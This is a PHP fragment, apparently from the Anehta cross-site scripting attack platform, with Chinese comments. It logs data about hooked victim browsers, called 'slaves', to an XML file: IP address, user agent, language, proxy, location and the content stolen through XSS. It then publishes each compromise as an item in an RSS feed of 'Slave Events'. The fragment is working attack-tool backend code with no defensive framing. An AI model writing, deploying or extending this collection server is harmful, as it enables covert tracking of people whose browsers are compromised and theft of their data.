********************************************************/ $fpath = "../slave/slave.xml"; $slaveData = new OpXML('slaveData', $fpath); //增加一条记录 $arr = array('requestDate' => $requestDate, 'slaveWatermark' => $slaveWatermark, 'slaveIP' => $slaveIP, 'slaveUA' => $slaveUA, 'slaveLang' => $slaveLang, 'slaveProxy' => $slaveProxy, 'slaveLocation' => $slaveLocation, 'xssGot' => $qstr); $slaveData->insert($arr); /******************************************************* * 生成rss feed ********************************************************/ $myFeed = new RSSFeed(); $myFeed->addChannel("Anehta!", "http://anehta.googlecode.com", "Anehta Slave Events!", "zh-cn"); // 下面去掉$qstr 里的 "<![CDATA["和 "]]>" $qstr = str_replace("\r\n<![CDATA[\r\n", "", $qstr); $qstr = str_replace("\r\n]]>\r\n", "", $qstr); /** * Encodes HTML safely for UTF-8. Use instead of htmlentities. * * @param string $var * @return string */ function html_encode($var) { return htmlentities($var, ENT_QUOTES, 'UTF-8'); } $qstr = html_encode($qstr); $rand_val = mt_rand(); // 生成一个随机数 $myFeed->appendFeedItem("Slave_" . $myFeed->XmlEncode($slaveWatermark) . " From " . $slaveIP, "Slave_" . $myFeed->XmlEncode($slaveWatermark) . "@" . $xssDomain, $myFeed->XmlEncode($slaveLocation), $myFeed->XmlEncode($requestURI), $myFeed->XmlEncode($requestURI) . "#" . $rand_val, $qstr, $requestDate); // pubDate // 写入rss文件 rss.xml $myFeed->releaseFeed();